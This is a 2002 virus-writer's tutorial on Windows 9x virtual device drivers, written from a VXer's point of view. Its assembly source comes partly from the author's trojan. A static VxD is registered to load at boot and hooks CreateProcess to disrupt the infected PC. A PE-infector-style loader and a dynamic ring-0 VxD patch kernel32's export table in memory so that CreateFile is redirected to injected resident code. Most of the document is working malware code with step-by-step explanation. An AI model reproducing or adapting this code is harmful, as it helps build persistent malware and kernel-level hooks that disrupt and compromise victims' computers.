General VxD Tuturial

From  BeLiAL/BCVG 2002

Introduction:

This tuturial is at least a two in one tuturial. On the one hand, its a tuturial about VxDs, and on the other hand
its a translation of my "Global Residency Tuturial", which was written originally in german. I used in this
tuturial a VxD for going resident, so i thought its a good idea to put in this tuturial also the residency
tuturial. I saw also other tuturials about VxDs, but they were very VX orientated, and using a VxD for infecting
a com file is nice and interesting, but not very important for a coder in the year 2002.
First, i will talk about how to code a static VxD which goes resident, hooks CreateProcess and causes some blue
screens (only for demonstration purpose). This is very easy.
In the second part ill explain a dynamic VxD which hooks an API due modifying the kernel32.dll in memory.
With this tuturial you should find the example asm files, there makeit.bat and the rest of the files which are
necessary to compile the example code.
I compiled the VxD sources with the macro assembler. It is for free in the Microsoft DDK (Device Driver Developemt
Kit). Everything in this tuturial is from the point of view of a VXer. For detailed informations, about some
topics, look at the VxD tuturials of Iczellion.

What do you need:

The most important things can be downloaded from my page. I recommand the study of these things first, if you
are a total newbie.

- a API reference. If you need special informations about one API, you can also visit msdn.microsoft.com. They
  explain there also all the important APIs from the kernel32.dll
- the DDK from microsoft. You need it for compiling your VxD with Masm. Get it at msdn.microsoft.com. In the
  DDK is a help file which is a refernce for the possibilities of a VxD.
- An overview about the PE Header. You will need it because we will change some things in the kernel.dll in memeory
  for going resident. You can get very detailed informations about the pe header at my page. Look for Iszellion
  tuturials there
- A general understanding of Win32 Assembler. Take a look at win32asm.cjb.net . Everything there is for masm, but
  when you are a total newbie, the win32asm tuturials there will help you.

Whats a VxD:

There are two different types of VxDfiles. Static VxDs and Dynamic VxDs. Static VxDs have to be written in the registry
and copied two the windir. On the next windows startup, they are loaded. This type of VxD hooks a part of windows
like the API CreateProcess in our example. As you can think, its activated when CreateProcess is loaded.
A dynamic VxD is something like a "master dll". Its loaded in memory from a program and exports functions. But these
functions run in Ring-0 (ring-0 is the god mode of the operating system. Normal applications run in ring-3 and
have many restrictions. Ring-0 code is allowed to do anything it wants).
Because of they are running in ring-0, you cant use your old APIs anymorw. But instead, M$ provides us with a 
much more powerful variant, the VMM_Calls and VxD_Calls. These "ring-0 apis" can do much more than the API stuff
you can export from kernel32.dll. They are explained in the help file of the DDK, so i recommand downloading it.
VMM_Calls also get their parameters pushed on the stack, but sometimes they dont clean the stack automaticly, 
so you have to do so. A good example for the power of VMM_Calls is the fact, that you can emulate with some 
special VMM_Calls even old dos interrupts and because of this, things like the absolute reading and writing of 
sectors on the HD are possible again.

The .def dile:

Every segment is defined in a .def file. I used, when i coded VxDs, the skeleton file from Izcellion. In it are
all possible segments defined. So, when u need a data segment in ur VxD, you can use "VxD_PAGEABLE_DATA_SEG" at the 
beginning, and when its over, simply take a "VxD_PAGEABLE_DATA_ENDS". The compiler will take a look in our 
master-def-file and no error will occur. The code segment definition looks like "VxD_PAGEABLE_CODE_SEG" at the
beginning and "VxD_PAGEABLE_CODE_ENDS" at its end. When you take a look at the def file, dont wonder about all
these strange segments, thats because VxDs are not in PE, but in LE format. This format supports 16 and 32 bit
and everything is a bit different from PE. If you want detailed information, look at Izcellion VxD Tute number 3.
The first statement in the def file, is the name of the VxD. It has to be in uppercase. F.E. "VXD MESSAGE" .
The last line in the VxD is also a must (f.e. EXPORTS MESSAGE_DDB  @1). The word before _DDB has to be equal
to the VxD name at the beginning of the file.

CHAPTER I 

The Static VxD:

Okay, enough theorie. Now we will take a look at our first practical example. As told above it is started when
windows is started. But its initialized in real mode, because static VxDs were developed in windows 3.x times.
I will explain as example file the VxD, which is dropped by my trojan morgoth (called TUIL from the AVers, dunno
why). It will cause a blue screen after every CreateProcess to make working on the infected PC nearly impossible.
The name of this example file is evil.asm (lame name, i know). Windows needs to know, what static VxD is loaded,
so an entry in the registry is neccessary. Its in HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD. There
you have to create a new key, f.e. W32Call. In this key, you have to create a value named StaticVxD which contains
the name of the VxD, f.e. w32call.vxd . After rebooting, the VxD is loaded and ready to rock ;)
The name of the example file is evil.vxd, and it is in the directory "static vxd example".

.386p 
include vmm.inc 
include shell.inc

DECLARE_VIRTUAL_DEVICE MESSAGE,1,0, MESSAGE_Control, UNDEFINED_DEVICE_ID, UNDEFINED_INIT_ORDER

The first three lines dont need an explanation. What says mr.Izcellion about the next line? "A VMM learns everything
it needs to know about a VxD from the VxD's device descriptor block (DDB). A device descriptor block is a structure
that contains vital information about the VxD such as the VxD's name, its device ID, the entrypoints of its VxD
services (if exist) and so on..." DECLARE_VIRTUAL_DEVICE is a macro which fills this structure for us. It has the
following syntax: 
Declare_Virtual_Device   Name, MajorVer, MinorVer, CtrlProc, DeviceID, InitOrder, V86Proc, PMProc, RefData
There is a detailed description in the VxD tut from Izcellion.

Begin_control_dispatch MESSAGE
	Control_Dispatch Create_Process, evileye
End_control_dispatch MESSAGE

Here is another macro. It has the name of the VxD as paramater. The Control_dispatch macro tells the VxD which
system message has to be hooked. In our case, its CreateProcess(). The second parameter "evileye" is the procedure
which is executed when the message from parameter 1 (in our case the Create_Process Call) occurs.

VxD_PAGEABLE_DATA_SEG
MsgTitle  	db "WindowsUserProfileInformation:",0
VMCreated 	db "The current user is lame as hell!!!!",0
VxD_PAGEABLE_DATA_ENDS

This is the data segment. Its there because the bluescreen needs a title and a text string.

BeginProc evileye
	mov ecx, OFFSET32 VMCreated
	VMMCall Get_sys_vm_handle
        mov eax,MB_OK
	mov edi, OFFSET32 MsgTitle
	xor esi,esi
	xor edx,edx
        VxDCall SHELL_sysmodal_Message		
	ret
EndProc evileye

This is the hooking procedure. As you can see, it uses these magic VMM calls. Every Call is defined in the include
files, so be sure to choose the right ones. As you can see, not all parameters for the VMM Calls have to be pushed,
some of them are copied to the registers, like using old interrupts.
The VxDCall SHELL_sysmodal_Message needs as parameters in ecx and edi the offsets of message and title. This offset
is a macro OFFSET32. I read somewhere, not using it may cause errors, so i took it. In eax have to be some flags.
These flags are neccessary for the look of the blue screen. In our case, its MB_OK. In ebx has to be the handle
of the virtual machine. You can get this handle with Get_sys_vm_handle. Its returned in ebx where it can stay.

This was the first part of my tuturial and i hope you know now a bit more about static VxDs than before reading.
If you have questions while coding such stuff, there is a excellent message board at win32asm.cjb.net. And here
is the second part of the tute...

CHAPTER II  

The Dynamic VxD:

This is the second chapter of my VxD Tute and it is a little bit more difficult than the first one. We use here the
ring-0 features of our VxD to make a procedure resident. This done due modifiying the kernel32.dll in memory (we
will change the offset in the export table, which points to CreateFile(), to our resident procedure. This method
has the disadvantage that only those programs use the infected API, which are started AFTER resident.exe was
executed. But dont be afraid, i started resident.exe a long time after a new reboot and there were still many progs,
like Outlook, IE or Winamp, which imported the new infected API from the kernel. 
Our program will hook CreateFile() and display a messagebox each time CreateFile() is executed.
The example code bases on two programs: One normal exe application and the dynamic VxD. The exe has the routine
which will go resident. It uses the API DeviceIoControl() to communicate with the VxD. There is one thing you should
know when you are looking in the source: The exe file was created for usage in a PE infector, so it uses delta
offset and it locates the APIs like a PE-infector (finding the kernel in memory, looking for the APIs there...) If
you are a total newbie, read a tuturial about PE infection, there is all the stuff explained. But i will show whats
important and whats not important in resident.asm, when the source is explained later in the tuturial.

Here is a copy of the description of the DeviceIoControl() API:

The DeviceIoControl function sends a control code directly to a specified device driver, causing the device to perform the specified operation. 

BOOL DeviceIoControl(

    HANDLE  hDevice,	                // handle of the device
    DWORD  dwIoControlCode,	        // control code of operation to perform
    LPVOID  lpvInBuffer,	        // address of buffer for input data
    DWORD  cbInBuffer,	                // size of input buffer
    LPVOID  lpvOutBuffer,	        // address of output buffer
    DWORD  cbOutBuffer,	                // size of output buffer
    LPDWORD  lpcbBytesReturned,	        // address of actual bytes of output
    LPOVERLAPPED  lpoOverlapped 	// address of overlapped structure
   );	

Our VxD has to copy a routine to memory and to make this routine resident. So its important for the VxD to know
where it can find the procedure it has to copy to memory. This is done with this two parameters:

LPVOID  lpvInBuffer,	        // address of buffer for input data
DWORD  cbInBuffer,	        // size of input buffer

There are also parameters for output data, but thats not really important in our case. But i recommand using it,
because it will make debugging your program much more easier.
Here is a short brief what resident.exe will do and then i will talk about the source in detail. Resident exe can
be devided into two parts:

1. The part which loads the VxD:
   A. Initialing some data, f.e. the APIs
      The offsets of LoadLibrary() and GetProcAddress() are copied to the resident part
      Also the offset of createfile()
   B. Loading the VxD into memory
   C. Executing the VxD
   D. Then exit

2. The part which will go resident and hook CreateFile()
   A. Loading delta offset
   B. Getting the API messagebox() with loadlibrary() and getprocadress()
   C. Creating a messagebox for showing we are resident
   D. Jumping back to the original CreateFile()

3. The VxD itself
   A. Locating some memory
   B. Copy the the resident part in memory
   C. Making the memeory address of the kernel readable
   D. Changing the address of CreateFile() to address of the just located memory
      where the resident part can be found.

And here is some code:

------------------------------------------------------resident.asm----------------------------------------------

.386
.model flat

FILE_FLAG_DELETE_ON_CLOSE       EQU 04000000h
RESIDENT_SIZE                   EQU offset resident_end - offset resident_start

.data

db 0

The standart things, some equates and the data segment. It is empty because all data is in the code segment.
It is important that pewrite or any other tool makes the code sectian writable after compiling resident.asm

.code

start:

call delta_offset

delta_offset:

pop ebp
sub ebp,offset delta_offset

The code segment begins. The delta offset is created (only necessary in a virus, but for would you like using the
code? ;)

mov dword ptr [ebp+residentsize],RESIDENT_SIZE
lea eax,[ebp+offset resident_start]
mov dword ptr [ebp+residentoffset],eax

As i told you above, DeviceIoControl() needs a structure which contains some input data. This structure is filled
here with two values. The size of the resident routine and the address.

call locate_kernel                      ;copies kernel address to eax
mov dword ptr [ebp+kerneloffset],eax

call get_export_table                   ;kerneloffset in eax

call get_all_apis

These three procedures locate the addresses of the neccessary APIs. I will not explain them here in detail, because
they are explained in every pe-infection-tuturial on the market. They simply find the kernel, find the export table
in the kernel and read out the offsets of the APIs.

call loadvxd
mov eax,dword ptr [ebp+residentaddress]

return_host:

push 0
call [ebp+ExitProcess]

The VxD is started and resident.exe quits. The address of the resident routine is copied to eax, because i needed
it when i used the SoftIce for looking weather my program worked successfull. Here is loadvxd():

loadvxd proc

pushad

push 0
push FILE_FLAG_DELETE_ON_CLOSE
push 0
push 0
push 0
push 0
lea eax,[ebp+offset VxDName]
push eax
call [ebp+CreateFile]
mov dword ptr [ebp+vxdhandle],eax

The registers are saved and the VxD is is loaded to memory with CreateProcess. The filename has to be in our 
case "VxDName db "\\.\dynavxd.vxd",0". It is neccessary, that the VxD is in the current directory.

push 0
push 0
push 4
lea ebx,[ebp+offset outputbuffer]
push ebx
push 12
lea ebx,[ebp+offset inputbuffer]
push ebx
push 1
push eax
call [ebp+DeviceIoControl]

push dword ptr [ebp+vxdhandle]
call CloseHandle

popad

ret

DeviceIoControl starts the VxD. It has as parameters the size of the output buffer, its address, the size of the
input data structure and its address. It loads the first routine, which exported from the VxD (my VxD needs only
one routine and has only one routine). When finished, it closes the VxDhandle, returned from CreateFile() before,
with CloseHandle().   

-------------------------------------------------------resident part-----------------------------------------------

resident_start:

pushf
push ebx
push ecx
push edx
push esi
push edi
push ebp

The registers are pushed on the stack. Thats important, because the program called the infected api will possibly
crash, when the register contents are lost.

call resident_delta_offset

resident_delta_offset:
pop ebp
sub ebp,offset resident_delta_offset

Here again is a delta offset calculated, because all offsets changed a bit in their address .

lea eax,[ebp+offset dllimport1]
push eax
call [ebp+LoadLibrary]
mov dword ptr [ebp+dllimportoffset1],eax

lea eax,[ebp+offset MessageBox_]
push eax
push dword ptr [ebp+dllimportoffset1]
call [ebp+GetProcAddress]
mov dword ptr [ebp+MessageBox],eax

We need the API MessageBoxA(), so we load the gui32.dll into memory and search in it for the API.

push 0
lea eax,[ebp+offset resident_title]
push eax
lea eax,[ebp+offset resident_text]
push eax
push 0
call [ebp+MessageBox]

Damn, thats all boring easy. A message box is created!

mov eax,ebp

pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
popf

jmp dword ptr [eax+jump_back] 

The delta offset is saved in eax. Then all other registers are restored. Then jumping back to the
original CreateFile(). Now we will take a look at the vxd itself, to complete the tuturial:

-----------------------------------------------dynavxd.asm---------------------------------------

.386p 
include vmm.inc 
include vwin32.inc
include shell.inc 

The neccessary include files are defined here. Be sure they are in the right directories when comiling
the vxd.

DECLARE_VIRTUAL_DEVICE DYNAVXD,1,0, DYNAVXD_Control,\ 
UNDEFINED_DEVICE_ID, UNDEFINED_INIT_ORDER

Here is again the DECLARE_VIRTUAL_DEVICE makro which is needed for initialing the vxd. It looks only a
bit different than in the static VxD. Ah, i forgot to tell you that the def file has also a little change.
In the first line, STATICVXD has to be changed to DYNAVXD.

Begin_control_dispatch DYNAVXD 
         Control_Dispatch w32_DeviceIoControl, OnDeviceIoControl 
End_control_dispatch DYNAVXD

You may think, this makro isnt neccessary, because it was used in the static vxd for hooking a System
Message. But a dynamic VxD must process w32_deviceIoControl message. So when w32_deviceIoControl message 
is sent, OnDeviceIoControl procedure is called.

VxD_PAGEABLE_DATA_SEG 
inputoffset     dd 0
outputoffset    dd 0
VxD_PAGEABLE_DATA_ENDS 

This is the data segment. Here are two double words for saving the offsets of the in- and output structures.

VxD_PAGEABLE_CODE_SEG 
     BeginProc OnDeviceIoControl 
         assume esi:ptr DIOCParams 
         .if [esi].dwIoControlCode==DIOC_Open 
             xor eax,eax

The code segment begins. OnDeviceIoControl processes DIOC_Open code by returning 0 in eax. It is important
that these lines are in your VxD.

         .elseif [esi].dwIoControlCode==1
           mov eax,[esi].lpvOutBuffer
           mov dword ptr [outputoffset],eax
           mov eax,[esi].lpvInBuffer
           mov dword ptr [inputoffset],eax

When you look at the beginning of Chapter II of this tute, you will see the explaination of DeviceIoControl().
This API needs a control code. What see here is what will happen when Control Code 1 is used. At the beginning,
esi points to a structure which contains the offsets of the input and output structures. Their addresses are 
saved in the two dds in the vxd data segment for later use.

           mov ebx,dword ptr [eax+4]                   ;offsets of buffers are saved now
           push ebx
           VMMCall _HeapAllocate,<ebx,HEAPZEROINIT>    ;get some memory 
           mov ebx,dword ptr [outputoffset]
           pop ecx                                     ;byte counter for later 
           mov dword ptr [ebx],eax                     ;copy memoryaddress to outputbuffer 
           push eax                                    ;save address for later

You remember, in the input structure was the size of the resident part. This size is now copied to ebx and
pushed on the stack. Then, _HeapAllocate() is used to get some memory for the resident part. The address
of this memory is returned  in eax. The output structure is filled with this address too, because i wanted
to see with softice if my proggie is really in memory. And the stack is cleaned manually, becoz the VMMCall
hasnt done it.

           mov edi,eax
           mov ebx,dword ptr [inputoffset]
           mov esi,dword ptr [ebx]
           rep movsb

Now, in edi is copied the address of the located memory. From the input structure is copied the address
of the resident part to esi. In ecx is still the size of the resident part and all it is copied with a
rep movsb into memory.

           mov eax,dword ptr [inputoffset]
           mov ebx,dword ptr [eax+8]
           push    020060000h              ; New page attributes (writ.)
           push    000000000h              ; uninteresting
           push    000000001h              ; Number of pages
           push    ebx                     ; page             
	   VMMCall _PageModifyPermissions              ;the api table is now writeable

First, the offset of the address table of the kernel32.dll, which contains the offset address of CreateFile()
is copied from the input structure to ebx. The we push a few parameters, for changing the attributes of a 
memory page. _PageModifyPermissions() sets then this area to writable.

           pop ebx
           pop eax
           pop eax
           pop eax

Again, we have to clean the stack manually.

           pop eax
           mov edx,dword ptr [inputoffset]
           sub eax,dword ptr [edx+12]
           mov dword ptr [ebx],eax

Thies piece of code changes the original address of CreateFile() in the kernel export table to the resident
part of our program, which was copied to memory before. This was possible because the export table of the
kernel was set writable.

Thats all for now and the tuturial is finished. I hope you understood all and had fun reading it. Here are some
greetings and credits:

#german_vir on undernet: cwarrior, malfunction, nekro and doop
#vxers on undernet     : Virusbuster, Toro
Bumblebee and Benny for all their tuturials.
The black cat group for support,help and friendship
and last but not least greetings to wallo, raven and sub-zer0 	                   